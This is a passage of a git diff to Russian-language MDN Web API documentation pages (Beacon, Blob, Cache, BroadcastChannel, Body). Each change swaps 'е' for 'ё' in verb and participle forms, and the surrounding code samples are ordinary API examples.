984c00117d..1e33abb3df 100644 --- a/files/ru/web/api/beacon_api/index.html +++ b/files/ru/web/api/beacon_api/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Beacon_API <p>Например, вариантом использования Beacon API может быть логирование активности или отправка аналитики на сервер.</p> -<p>Пример кода интерфейсов, описанных в этом документе, включен в раздел <em><a href="/Web/API/Beacon_API/Using_the_Beacon_API">Использование Beacon API</a></em>.</p> +<p>Пример кода интерфейсов, описанных в этом документе, включён в раздел <em><a href="/Web/API/Beacon_API/Using_the_Beacon_API">Использование Beacon API</a></em>.</p> @@ -23,11 +23,11 @@ translation_of: Web/API/Beacon_API <p>Интерфейс <code>Beacon</code> отвечает потребностям аналитического и диагностического кода, который обычно пытается отправить данные на веб-сервер перед выгрузкой документа. Отправка данных хоть на секунду раньше может привести к упущенной возможности сбора данных. В любом случае, обеспечение того, чтобы данные отправлялись во время выгрузки документа, является чем-то, что традиционно было трудным для разработчиков.</p> -<p>Пользовательские браузеры обычно игнорируют асинхронные {{domxref("XMLHttpRequest","XMLHttpRequests")}} сделанные в обработчике выгрузки. Для решения этой проблемы, аналитический и диагностический код обычно создает синхронный {{domxref("XMLHttpRequest")}} в обработчике {{event("unload")}} или {{event("beforeunload")}} для отправки данных. Синхронный {{domxref("XMLHttpRequest")}} заставляет браузер отложить выгрузку документа и делает следующую навигацию более медленной. Следующая страница ничего не может сделать, чтобы избежать этого ощущения низкой производительности при загрузке страницы. </p> +<p>Пользовательские браузеры обычно игнорируют асинхронные {{domxref("XMLHttpRequest","XMLHttpRequests")}} сделанные в обработчике выгрузки. Для решения этой проблемы, аналитический и диагностический код обычно создаёт синхронный {{domxref("XMLHttpRequest")}} в обработчике {{event("unload")}} или {{event("beforeunload")}} для отправки данных. Синхронный {{domxref("XMLHttpRequest")}} заставляет браузер отложить выгрузку документа и делает следующую навигацию более медленной. Следующая страница ничего не может сделать, чтобы избежать этого ощущения низкой производительности при загрузке страницы. </p> -<p>Есть и другие методы, используемые для проверки предоставления данных. Одним из таких методов является задержка отправки данных путем создания элемента Image и установки его атрибута <code>src</code> в обработчике выгрузки. Поскольку большинство браузеров откладывают выгрузку для завершения ожидающей загрузки изображения, данные могут быть отправлены во время выгрузки. Другой метод заключается в создании неработающего цикла, который в течение нескольких секунд будет висеть в обработчике выгрузки, чтобы задержать выгрузку и отправить данные на сервер.</p> +<p>Есть и другие методы, используемые для проверки предоставления данных. Одним из таких методов является задержка отправки данных путём создания элемента Image и установки его атрибута <code>src</code> в обработчике выгрузки. Поскольку большинство браузеров откладывают выгрузку для завершения ожидающей загрузки изображения, данные могут быть отправлены во время выгрузки. Другой метод заключается в создании неработающего цикла, который в течение нескольких секунд будет висеть в обработчике выгрузки, чтобы задержать выгрузку и отправить данные на сервер.</p> -<p>Эти методы представляют плохие шаблоны программирования, некоторые из них ненадежны и приводят к восприятию плохой производительности при загрузке страницы для следующей навигации. API-интерфейс Beacon предоставляет стандартный способ решения этих проблем.</p> +<p>Эти методы представляют плохие шаблоны программирования, некоторые из них ненадёжны и приводят к восприятию плохой производительности при загрузке страницы для следующей навигации. API-интерфейс Beacon предоставляет стандартный способ решения этих проблем.</p> <h2 id="Глобальный_контекст">Глобальный контекст</h2> diff --git a/files/ru/web/api/beforeinstallpromptevent/index.html b/files/ru/web/api/beforeinstallpromptevent/index.html index a9359fddfe..ab241f8f1d 100644 --- a/files/ru/web/api/beforeinstallpromptevent/index.html +++ b/files/ru/web/api/beforeinstallpromptevent/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/BeforeInstallPromptEvent <dl> <dt>{{domxref("BeforeInstallPromptEvent.BeforeInstallPromptEvent","BeforeInstallPromptEvent()")}}</dt> - <dd>Создает новый <code><strong>BeforeInstallPromptEvent</strong></code>.</dd> + <dd>Создаёт новый <code><strong>BeforeInstallPromptEvent</strong></code>.</dd> </dl> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/blob/blob/index.html b/files/ru/web/api/blob/blob/index.html index b1ed2d7bc1..6969b073ff 100644 --- a/files/ru/web/api/blob/blob/index.html +++ b/files/ru/web/api/blob/blob/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Blob/Blob --- <p>{{APIRef("File API")}}</p> -<p><code><font face="Open Sans, Arial, sans-serif">Конструктор </font><strong>Blob()</strong></code> возвращает новый объект {{domxref("Blob")}}. Содержимое blob состоит из объединенных значений, переданных в параметре <em>array</em>.</p> +<p><code><font face="Open Sans, Arial, sans-serif">Конструктор </font><strong>Blob()</strong></code> возвращает новый объект {{domxref("Blob")}}. Содержимое blob состоит из объединённых значений, переданных в параметре <em>array</em>.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/blob/index.html b/files/ru/web/api/blob/index.html index a256ce6a5f..445e8da297 100644 --- a/files/ru/web/api/blob/index.html +++ b/files/ru/web/api/blob/index.html @@ -73,7 +73,7 @@ var myBlob = builder.getBlob('text/xml'); <h3 id="Создание_URL_для_содержимого_типизированного_массива">Создание URL для содержимого типизированного массива</h3> -<p>Следующий код создает типизированный массив JavaScript и создает новый <code>Blob</code>, содержащий данные типизированного массива. Затем вызывается {{DOMxRef("URL.createObjectURL()")}} для преобразования blob в {{glossary("URL")}}.</p> +<p>Следующий код создаёт типизированный массив JavaScript и создаёт новый <code>Blob</code>, содержащий данные типизированного массива. Затем вызывается {{DOMxRef("URL.createObjectURL()")}} для преобразования blob в {{glossary("URL")}}.</p> <h4 id="HTML">HTML</h4> @@ -84,7 +84,7 @@ var myBlob = builder.getBlob('text/xml'); <h4 id="JavaScript">JavaScript</h4> -<p>Основной частью этого кода для примера является функция <code>typedArrayToURL()</code>, которая создает <code>Blob</code> из переданного типизированного массива и возвращает объект URL для него. Преобразовав данные в URL объекта, их можно использовать несколькими способами, в том числе, в качестве значения атрибута {{htmlattrxref("src", "img")}} элементов {{HTMLElement("img")}} (конечно, при условии, что данные содержат изображение).</p> +<p>Основной частью этого кода для примера является функция <code>typedArrayToURL()</code>, которая создаёт <code>Blob</code> из переданного типизированного массива и возвращает объект URL для него. Преобразовав данные в URL объекта, их можно использовать несколькими способами, в том числе, в качестве значения атрибута {{htmlattrxref("src", "img")}} элементов {{HTMLElement("img")}} (конечно, при условии, что данные содержат изображение).</p> <pre class="brush: js">function typedArrayToURL(typedArray, mimeType) { return URL.createObjectURL(new Blob([typedArray.buffer], {type: mimeType})) diff --git a/files/ru/web/api/blob/slice/index.html b/files/ru/web/api/blob/slice/index.html index f0e5eaf4df..384577a82c 100644 --- a/files/ru/web/api/blob/slice/index.html +++ b/files/ru/web/api/blob/slice/index.html @@ -17,9 +17,9 @@ translation_of: Web/API/Blob/slice <dl> <dt><code>start</code> {{optional_inline}}</dt> - <dd>Индекс в {{domxref("Blob")}} указывающий первый байт, включенный в новый {{domxref("Blob")}}. Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно 0. Если указать значение <code>start</code>, которое больше размера источника {{domxref("Blob")}}, размер возвращаемого {{domxref("Blob")}} будет равен 0 и не будет содержать данных.</dd> + <dd>Индекс в {{domxref("Blob")}} указывающий первый байт, включённый в новый {{domxref("Blob")}}. Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно 0. Если указать значение <code>start</code>, которое больше размера источника {{domxref("Blob")}}, размер возвращаемого {{domxref("Blob")}} будет равен 0 и не будет содержать данных.</dd> <dt><code>end</code> {{optional_inline}}</dt> - <dd>Индекс в {{domxref("Blob")}} указывающий первый байт, который <strong>не</strong> будет включен в новый {{domxref("Blob")}} (т.е. байт с этим индексом не будет включен). Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно <code>size</code>.</dd> + <dd>Индекс в {{domxref("Blob")}} указывающий первый байт, который <strong>не</strong> будет включён в новый {{domxref("Blob")}} (т.е. байт с этим индексом не будет включён). Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно <code>size</code>.</dd> <dt><code>contentType</code> {{optional_inline}}</dt> <dd>Тип содержимого нового {{domxref("Blob")}}; это будет значение его свойства <code>type</code>. Значение по умолчанию - пустая строка.</dd> </dl> diff --git a/files/ru/web/api/bluetoothremotegattserver/index.html b/files/ru/web/api/bluetoothremotegattserver/index.html index f99ea7c5c1..3f5fad78b7 100644 --- a/files/ru/web/api/bluetoothremotegattserver/index.html +++ b/files/ru/web/api/bluetoothremotegattserver/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/BluetoothRemoteGATTServer --- <div>{{APIRef("Bluetooth API")}}{{SeeCompatTable}}</div> -<p>Интерфейс <code><strong>BluetoothRemoteGATTServer</strong></code>, относящийся к <a href="/en-US/docs/Web/API/Web_Bluetooth_API">Web Bluetooth API</a>, представляет сервер GATT на удаленном устройстве.</p> +<p>Интерфейс <code><strong>BluetoothRemoteGATTServer</strong></code>, относящийся к <a href="/en-US/docs/Web/API/Web_Bluetooth_API">Web Bluetooth API</a>, представляет сервер GATT на удалённом устройстве.</p> <div class="note"> <p>Данная страница описывает Web Bluetooth API от W3C Community Group. <a href="/en-US/docs/Archive/B2G_OS/API/BluetoothGattServer"><code>BluetoothGattServer</code> (Firefox OS)</a> - Bluetooth API в Firefox OS.</p> diff --git a/files/ru/web/api/body/arraybuffer/index.html b/files/ru/web/api/body/arraybuffer/index.html index 7aff670eb7..31402b8a22 100644 --- a/files/ru/web/api/body/arraybuffer/index.html +++ b/files/ru/web/api/body/arraybuffer/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Body/arrayBuffer --- <div>{{APIRef("Fetch")}}</div> -<p>Метод <strong><code>arrayBuffer()</code></strong> из примеси(mixin) {{domxref("Body")}} берет поток(stream) {{domxref("Response")}} и читает его до завершения. Он возвращает промис, который будет успешно завершен с помощью {{domxref("ArrayBuffer")}}.</p> +<p>Метод <strong><code>arrayBuffer()</code></strong> из примеси(mixin) {{domxref("Body")}} берет поток(stream) {{domxref("Response")}} и читает его до завершения. Он возвращает промис, который будет успешно завершён с помощью {{domxref("ArrayBuffer")}}.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -32,9 +32,9 @@ translation_of: Web/API/Body/arrayBuffer <pre class="brush: js">new Audio(music.ogg).play() </pre> -<p>В функции <code>getData()</code> мы создаем новый запрос используя конструктор {{domxref("Request.Request")}}, после этого используем его чтобы загрузить OGG звук. Мы также используем {{domxref("AudioContext.createBufferSource")}} чтобы создать ресурс аудиобуффера. При успешном завершении запроса, мы считываем {{domxref("ArrayBuffer")}} из ответа используя <code>arrayBuffer()</code>, декодируем аудио с помощью {{domxref("AudioContext.decodeAudioData")}}, устанавливаем раскодированные данные как ресурс аудио буфера (<code>source.buffer</code>), затем используем данные этого ресурса в {{domxref("AudioContext.destination")}}.</p> +<p>В функции <code>getData()</code> мы создаём новый запрос используя конструктор {{domxref("Request.Request")}}, после этого используем его чтобы загрузить OGG звук. Мы также используем {{domxref("AudioContext.createBufferSource")}} чтобы создать ресурс аудиобуффера. При успешном завершении запроса, мы считываем {{domxref("ArrayBuffer")}} из ответа используя <code>arrayBuffer()</code>, декодируем аудио с помощью {{domxref("AudioContext.decodeAudioData")}}, устанавливаем раскодированные данные как ресурс аудио буфера (<code>source.buffer</code>), затем используем данные этого ресурса в {{domxref("AudioContext.destination")}}.</p> -<p>Когда функция <code>getData()</code> заканчивает свое выполнение, мы стартуем проигрывание аудио ресурса функцией <code>start(0)</code>, потом блокируем кнопку проигрывания для предотвращения повторного проигрывания (это может привести к ошибкам)</p> +<p>Когда функция <code>getData()</code> заканчивает своё выполнение, мы стартуем проигрывание аудио ресурса функцией <code>start(0)</code>, потом блокируем кнопку проигрывания для предотвращения повторного проигрывания (это может привести к ошибкам)</p> <pre class="brush: js">function getData() { source = audioCtx.createBufferSource(); diff --git a/files/ru/web/api/body/json/index.html b/files/ru/web/api/body/json/index.html index 47b40dee49..76811b032b 100644 --- a/files/ru/web/api/body/json/index.html +++ b/files/ru/web/api/body/json/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Body/json --- <div>{{APIRef("Fetch")}}</div> -<p>Метод <strong><code>json()</code></strong> , определен на миксине {{domxref("Body")}}, который включён в объектах <a href="https://developer.mozilla.org/ru/docs/Web/API/Request" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>Request</code></a> и <a href="https://developer.mozilla.org/ru/docs/Web/API/Response" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>Response</code></a>, принимает и читает тело {{domxref("Response")}} stream. Возвращает promise (обещание), который, когда ответ будет получен, вызовет колбэк с результатом парсинга тела ответа в {{jsxref("JSON")}} объект.</p> +<p>Метод <strong><code>json()</code></strong> , определён на миксине {{domxref("Body")}}, который включён в объектах <a href="https://developer.mozilla.org/ru/docs/Web/API/Request" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>Request</code></a> и <a href="https://developer.mozilla.org/ru/docs/Web/API/Response" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>Response</code></a>, принимает и читает тело {{domxref("Response")}} stream. Возвращает promise (обещание), который, когда ответ будет получен, вызовет колбэк с результатом парсинга тела ответа в {{jsxref("JSON")}} объект.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -27,7 +27,7 @@ translation_of: Web/API/Body/json <h2 id="Пример">Пример</h2> -<p>В нашем <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json примере</a> (запустите <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), мы создаем новый запрос, используя {{domxref("Request.Request")}} конструктор, в последствии мы используем его (запрос) для получения <code>.json</code> файла. Когда fetch запрос будет выполнен, мы прочтем и спарсим данные, используя <code>json()</code>, а далее вставим значения из полученного объекта в list элементы списка для отображения данных по нашему продукту.</p> +<p>В нашем <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json примере</a> (запустите <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), мы создаём новый запрос, используя {{domxref("Request.Request")}} конструктор, в последствии мы используем его (запрос) для получения <code>.json</code> файла. Когда fetch запрос будет выполнен, мы прочтём и спарсим данные, используя <code>json()</code>, а далее вставим значения из полученного объекта в list элементы списка для отображения данных по нашему продукту.</p> <pre class="brush: js">var myList = document.querySelector('ul'); @@ -64,7 +64,7 @@ fetch(myRequest) <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, пожалуйста пожалуйста проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, пожалуйста пожалуйста проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("api.Body.json")}}</p> diff --git a/files/ru/web/api/broadcastchannel/index.html b/files/ru/web/api/broadcastchannel/index.html index b898960fe3..1f3a792ce0 100644 --- a/files/ru/web/api/broadcastchannel/index.html +++ b/files/ru/web/api/broadcastchannel/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/BroadcastChannel <dl> <dt>{{domxref("BroadcastChannel.BroadcastChannel", "BroadcastChannel()")}}</dt> - <dd>Создает объект, связанный с именованным каналом.</dd> + <dd>Создаёт объект, связанный с именованным каналом.</dd> </dl> <h2 id="Свойства">Свойства</h2> @@ -27,7 +27,7 @@ translation_of: Web/API/BroadcastChannel <h3 id="Обработчики_событий">Обработчики событий</h3> </dt> <dt>{{domxref("BroadcastChannel.onmessage")}}</dt> - <dd>{{domxref("EventHandler")}} свойство, определяющее функцию, которая будет запущена, когда произойдет вызов события {{event("message")}} на этом объекте.</dd> + <dd>{{domxref("EventHandler")}} свойство, определяющее функцию, которая будет запущена, когда произойдёт вызов события {{event("message")}} на этом объекте.</dd> <dt>{{domxref("BroadcastChannel.onmessageerror")}}</dt> <dd>{{domxref("EventHandler")}}, который вызывается, когда приходит {{domxref("MessageEvent")}} типа {{domxref("MessageError")}} — когда приходит сообщение, которое не может быть десереализовано.</dd> </dl> diff --git a/files/ru/web/api/broadcastchannel/postmessage/index.html b/files/ru/web/api/broadcastchannel/postmessage/index.html index abbb139478..39bf32b534 100644 --- a/files/ru/web/api/broadcastchannel/postmessage/index.html +++ b/files/ru/web/api/broadcastchannel/postmessage/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/BroadcastChannel/postMessage --- <p>{{APIRef("BroadCastChannel API")}}</p> -<p><strong><code>BroadcastChannel.postMessage()</code></strong> отправляет сообщение, которое может быть любым {{jsxref("Object", "объектом")}}, каждому обработчику в {{glossary("browsing context", "контексте браузера")}} с тем же {{glossary("origin")}}. Сообщение передается в виде события {{event("message")}} к каждому <code>BroadcastChannel</code>, привязанному к данному каналу.</p> +<p><strong><code>BroadcastChannel.postMessage()</code></strong> отправляет сообщение, которое может быть любым {{jsxref("Object", "объектом")}}, каждому обработчику в {{glossary("browsing context", "контексте браузера")}} с тем же {{glossary("origin")}}. Сообщение передаётся в виде события {{event("message")}} к каждому <code>BroadcastChannel</code>, привязанному к данному каналу.</p> <p>{{AvailableInWorkers}}</p> diff --git a/files/ru/web/api/cache/add/index.html b/files/ru/web/api/cache/add/index.html index fd32f46b8c..ae88c76901 100644 --- a/files/ru/web/api/cache/add/index.html +++ b/files/ru/web/api/cache/add/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Cache/add <p>Для более сложных операций, вам нужно использовать {{domxref("Cache.put","Cache.put()")}}.</p> <div class="note"> -<p><strong>Замечание</strong>: <code>add()</code> перезапишет любую пару ключ/значение, сохраненную ранее в кеше, соответствующем запросу.</p> +<p><strong>Замечание</strong>: <code>add()</code> перезапишет любую пару ключ/значение, сохранённую ранее в кеше, соответствующем запросу.</p> </div> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/cache/addall/index.html b/files/ru/web/api/cache/addall/index.html index 094912bdeb..d72262f99d 100644 --- a/files/ru/web/api/cache/addall/index.html +++ b/files/ru/web/api/cache/addall/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/Cache/addAll </div> <div class="note"> -<p><strong>Замечание</strong>: Первоначальная реализация Cache (как в Blink, так и в Gecko) разрешает промисы {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, и {{domxref("Cache.put")}} когда тело ответа полностью записано в хранилище. Более поздние версии спецификации говорят, что браузер может разрешить промис как только данные были записаны в базу данных, даже если тело ответа еще формируется.</p> +<p><strong>Замечание</strong>: Первоначальная реализация Cache (как в Blink, так и в Gecko) разрешает промисы {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, и {{domxref("Cache.put")}} когда тело ответа полностью записано в хранилище. Более поздние версии спецификации говорят, что браузер может разрешить промис как только данные были записаны в базу данных, даже если тело ответа ещё формируется.</p> </div> <div class="note"> diff --git a/files/ru/web/api/cache/delete/index.html b/files/ru/web/api/cache/delete/index.html index 5efa82b44a..846ccc2a0c 100644 --- a/files/ru/web/api/cache/delete/index.html +++ b/files/ru/web/api/cache/delete/index.html @@ -29,7 +29,7 @@ translation_of: Web/API/Cache/delete <li><code>ignoreSearch</code>: Булево значение {{domxref("Boolean")}}, которое определяет будет ли процесс сопоставления игнорировать строку запроса в url. Если установлено в <code>true</code>, часть <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будет проигнорирована при сопоставлении ключей. По умолчанию установлено в <code>false</code>.</li> <li><code>ignoreMethod</code>: Булево значение {{domxref("Boolean")}}, которое, если равно <code>true</code>, предотвращает проверку {{domxref("Request")}} при сопоставлении ключей на <code>HTTP</code> метод (обычно допускаются только <code>GET</code> и <code>HEAD</code>). По умолчанию установлено в <code>false</code>.</li> <li><code>ignoreVary</code>: Булево значение {{domxref("Boolean")}}, которое, если равно <code>true,</code> указывает операции сопоставления ключей не проводить проверку заголовка <code>VARY</code>. Другими словами, если URL совпадает, вы получите соответствие, независимо от того, есть ли заголовок <code>VARY </code>на объекте запроса {{domxref("Response")}}. По умолчанию установлено в <code>false</code>.</li> - <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, которая представляет собой определенный кеш, в котором вести поиск. Заметьте, что этот параметр игнорируется методом <code>Cache.delete()</code>.</li> + <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, которая представляет собой определённый кеш, в котором вести поиск. Заметьте, что этот параметр игнорируется методом <code>Cache.delete()</code>.</li> </ul> </dd> </dl> diff --git a/files/ru/web/api/cache/index.html b/files/ru/web/api/cache/index.html index 53bfe013d4..dc5d273133 100644 --- a/files/ru/web/api/cache/index.html +++ b/files/ru/web/api/cache/index.html @@ -5,18 +5,18 @@ translation_of: Web/API/Cache --- <p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p> -<p>Интерфейс <strong><code>Cache</code></strong> представляет собой механизм хранения пары объектов <code><a href="http://fetch.spec.whatwg.org/#request">Request</a></code> / <code><a href="http://fetch.spec.whatwg.org/#response">Response</a>,</code> которые кешируются, например, как часть жизненного цикла {{domxref("ServiceWorker")}}. Заметьте, что интерфейс Cache доступен как в области видимости окна, так и в области видимости воркеров. Не обязательно использовать его вместе с сервис воркерами, даже если интерфейс определен в их спецификации.</p> +<p>Интерфейс <strong><code>Cache</code></strong> представляет собой механизм хранения пары объектов <code><a href="http://fetch.spec.whatwg.org/#request">Request</a></code> / <code><a href="http://fetch.spec.whatwg.org/#response">Response</a>,</code> которые кешируются, например, как часть жизненного цикла {{domxref("ServiceWorker")}}. Заметьте, что интерфейс Cache доступен как в области видимости окна, так и в области видимости воркеров. Не обязательно использовать его вместе с сервис воркерами, даже если интерфейс определён в их спецификации.</p> -<p>Для вызывающего скрипта может быть множество именованных объектов <code>Cache</code>. Разработчик сам определяет реализацию того, как скрипт (например, в {{domxref("ServiceWorker")}}) управляет обновлением <code>Cache</code>. Записи в <code>Cache</code> не будут обновлены, пока не будет выполнен явный запрос; их время жизни не истечет до момента удаления. Используйте {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}, чтобы открыть определенный именованный объект <code>Cache </code>и затем вызывайте любые методы<code> Cache </code>для управления его состоянием.</p> +<p>Для вызывающего скрипта может быть множество именованных объектов <code>Cache</code>. Разработчик сам определяет реализацию того, как скрипт (например, в {{domxref("ServiceWorker")}}) управляет обновлением <code>Cache</code>. Записи в <code>Cache</code> не будут обновлены, пока не будет выполнен явный запрос; их время жизни не истечёт до момента удаления. Используйте {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}, чтобы открыть определённый именованный объект <code>Cache </code>и затем вызывайте любые методы<code> Cache </code>для управления его состоянием.</p> -<p>Вы также ответственны за периодическую очистку записей кеша. Каждый браузер имеет жесткие ограничения на объем хранилища кеша, доступный для исходного кода. Браузер делает все, чтобы как можно лучше использовать дисковое пространство, но он может удалить хранилище кеша для скрипта. В основном, браузер либо удаляет все данные из кеша для скрипта, либо не удаляет ничего. Устанавливайте версии кеша в имени и используйте кеш только той версии, которая безопасна для использования. Смотрите <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers#Deleting_old_caches">Удаление старого кеша</a>.</p> +<p>Вы также ответственны за периодическую очистку записей кеша. Каждый браузер имеет жёсткие ограничения на объем хранилища кеша, доступный для исходного кода. Браузер делает все, чтобы как можно лучше использовать дисковое пространство, но он может удалить хранилище кеша для скрипта. В основном, браузер либо удаляет все данные из кеша для скрипта, либо не удаляет ничего. Устанавливайте версии кеша в имени и используйте кеш только той версии, которая безопасна для использования. Смотрите <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers#Deleting_old_caches">Удаление старого кеша</a>.</p> <div class="note"> <p><strong>Замечание</strong>: {{domxref("Cache.put")}}, {{domxref("Cache.add")}} и {{domxref("Cache.addAll")}} допускают сохранение в кеш только <code>GET</code> запросов.</p> </div> <div class="note"> -<p><strong>Замечание</strong>: Изначально, реализация Cache (как в Blink, так и в Gecko) возвращала успешное завершение для промисов {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}} и {{domxref("Cache.put")}}, когда тело ответа было полностью помещено в хранилище. Более поздние версии используют новейший язык, утверждая, что браузер может разрешить промис как только запись будет записана в базу данных, даже если тело ответа все еще загружается в потоке.</p> +<p><strong>Замечание</strong>: Изначально, реализация Cache (как в Blink, так и в Gecko) возвращала успешное завершение для промисов {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}} и {{domxref("Cache.put")}}, когда тело ответа было полностью помещено в хранилище. Более поздние версии используют новейший язык, утверждая, что браузер может разрешить промис как только запись будет записана в базу данных, даже если тело ответа все ещё загружается в потоке.</p> </div> <div class="note"> @@ -47,7 +47,7 @@ translation_of: Web/API/Cache <dt>{{domxref("Cache.delete", "Cache.delete(request, options)")}}</dt> <dd>Находит запись {{domxref("Cache")}}, чей ключ является запросом, и, в случае нахождения, удаляет запись {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, успешно завершающийся со значением <code>true</code>. Если же запись {{domxref("Cache")}} не найдена, возвращается <code>false</code>.</dd> <dt>{{domxref("Cache.keys", "Cache.keys(request, options)")}}</dt> - <dd>Возвращает {{jsxref("Promise")}}, который отдает массив ключей {{domxref("Cache")}}.</dd> + <dd>Возвращает {{jsxref("Promise")}}, который отдаёт массив ключей {{domxref("Cache")}}.</dd> </dl> <h2 id="Примеры">Примеры</h2> @@ -56,9 +56,9 @@ translation_of: Web/API/Cache <p>Далее используется {{domxref("Cache.match", "Cache.match(request, options)")}} для определения того, находится ли уже совпадающий шрифт в кеше, и, если так, то возвращает его. Если же совпадающего шрифта нет, код получает этот шрифт по сети и использует {{domxref("Cache.put","Cache.put(request, response)")}} для кеширования полученного ресурса.</p> -<p>Код обрабатывает исключения, возможные при операции {{domxref("Globalfetch.fetch","fetch()")}}. Заметьте, что HTTP-ответ с ошибкой (например, 404) не будет вызывать исключения. Будет возвращен нормальный объект ответа с установленным соответствующим кодом ошибки.</p> +<p>Код обрабатывает исключения, возможные при операции {{domxref("Globalfetch.fetch","fetch()")}}. Заметьте, что HTTP-ответ с ошибкой (например, 404) не будет вызывать исключения. Будет возвращён нормальный объект ответа с установленным соответствующим кодом ошибки.</p> -<p>Также, пример описывает лучшие практики по заданию версий кеша при работе с сервис воркерами. И хотя в примере лишь один кеш, тот же подход может быть использован для множества кешей. Он сравнивает сокращенный идентификатор кеша с определенным, версионным именем кеша. Код также удаляет весь кеш, для которого не определено имя <code>CURRENT_CACHES</code>.</p> +<p>Также, пример описывает лучшие практики по заданию версий кеша при работе с сервис воркерами. И хотя в примере лишь один кеш, тот же подход может быть использован для множества кешей. Он сравнивает сокращённый идентификатор кеша с определённым, версионным именем кеша. Код также удаляет весь кеш, для которого не определено имя <code>CURRENT_CACHES</code>.</p> <p>В примере кода "кеш" это атрибут WorkerGlobalScope сервис воркеров. Он содержит объект CacheStorage, через который можно получить доступ к <a href="https://developer.mozilla.org/en-US/docs/Web/API/CacheStorage">CacheStorage</a> API.</p> @@ -66,7 +66,7 @@ translation_of: Web/API/Cache <pre class="brush: js">var CACHE_VERSION = 1; -// Сокращенный идентификатор привязанный к определенной версии кеша. +// Сокращённый идентификатор привязанный к определённой версии кеша. var CURRENT_CACHES = { font: 'font-cache-v' + CACHE_VERSION }; diff --git a/files/ru/web/api/cache/keys/index.html b/files/ru/web/api/cache/keys/index.html index 0ae385d424..aa09fb7642 100644 --- a/files/ru/web/api/cache/keys/index.html +++ b/files/ru/web/api/cache/keys/index.html @@ -28,14 +28,14 @@ translation_of: Web/API/Cache/keys <dl> <dt>request {{optional_inline}}</dt> - <dd>{{domxref("Request")}} который будет возвращен, если найден указанный ключ.</dd> + <dd>{{domxref("Request")}} который будет возвращён, если найден указанный ключ.</dd> <dt>options {{optional_inline}}</dt> <dd>Объект, чьи свойства контролируют то, как выполняется сопоставление ключей для операции <code>keys</code>. Допустимые параметры: <ul> <li><code>ignoreSearch</code>: Булево значение {{domxref("Boolean")}}, которое определяет должен ли процесс сопоставления игнорировать строку запроса в url. Если установлено в <code>true</code>, часть <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будет проигнорирована при сопоставлении. По умолчанию установлено в <code>false</code>.</li> <li><code>ignoreMethod</code>: Булево значение {{domxref("Boolean")}}, которое, когда равно <code>true</code>, предотвращает проверку {{domxref("Request")}}, при сопоставлении ключей, на <code>HTTP</code> метод (обычно допускаются только <code>GET</code> и <code>HEAD</code>). По умолчанию установлено в <code>false</code>.</li> <li><code>ignoreVary</code>: Булево значение {{domxref("Boolean")}}, которое, когда равно <code>true,</code> указывает операции сопоставления ключей не проводить проверку заголовка <code>VARY</code>. Другими словами, если URL совпадает, вы получите соответствие, независимо от того, есть ли заголовок <code>VARY </code>на объекте запроса {{domxref("Response")}}. По умолчанию установлено в <code>false</code>.</li> - <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, которая представляет собой определенный кеш, в котором нужно вести поиск. Заметьте, что этот параметр игнорируется методом <code>Cache.keys()</code>.</li> + <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, которая представляет собой определённый кеш, в котором нужно вести поиск. Заметьте, что этот параметр игнорируется методом <code>Cache.keys()</code>.</li> </ul> </dd> </dl> diff --git a/files/ru/web/api/cache/match/index.html b/files/ru/web/api/cache/match/index.html index 